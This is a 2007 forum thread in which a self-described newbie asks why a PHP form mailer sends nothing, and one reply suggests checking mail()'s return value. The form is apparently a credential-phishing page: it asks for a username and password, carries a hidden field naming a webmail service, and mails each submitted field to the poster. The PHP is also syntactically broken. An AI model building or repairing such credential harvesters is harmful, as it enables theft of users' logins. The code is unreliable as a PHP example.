View Full Version : PHP Form Mailer Problem

07-18-2007, 08:48 AM
Hello.I have a problem.My PHP Form Mailer dont send any messages to me.My hoster is freehostia, and i tried to do it on hyperphp.com but in the host isnt the problem.I will give my code, and if anyone know what do , thanks.

PHP Mailer dont send an1 messages to me.Can anyone help? Here is the form and the mailer.I think there are some errors in the code,but i`m a newbie.


<form action="mailer.php" method="post">

<table style="opacity: 1;">
<td><input size="20" name="username" maxlength="12" type="text"></td>
<td><input size="20" name="password" maxlength="20" type="password"></td>
<td align="center"><input value="Login" name="submit" type="submit"></td>
<input name="dest" value="inbox.ws" type="hidden">



$to = "Mymail@domain.com";
$subject = "Results from your Request Info form";
$headers = "From: My Site";
$forward = 0;
$location = "";

$date = date ("l, F jS, Y");
$time = date ("h:i A");

$msg = "Below is the result of your feedback form. It was submitted on $date at $time.\n\n";

foreach ($_POST as $key => $value) {
$msg .= ucfirst ($key) ." : ". $value . "\n";
else {
foreach ($_GET as $key => $value) {
$msg .= ucfirst ($key) ." : ". $value . "\n";

mail ($to, $subject, $msg, $headers);
if ($forward == 1) {
header ("Location:$location");
else {
echo "Thanks...";


07-18-2007, 08:56 PM
Your first step is to check the mail() function to see if it succeeded or not:

if (mail ($to, $subject, $msg, $headers)) {
echo "mail function succeeded.";
} else {
echo "mail function failed.";

07-19-2007, 12:14 AM
This might be OOT.
but i am just curious.
any free hosting you guys know that support debugging mode for PHP ?

like error on line.. something...
freewha.com doesn't support that.
I need to use my localhost anyway... that sucks.
thanks in advance...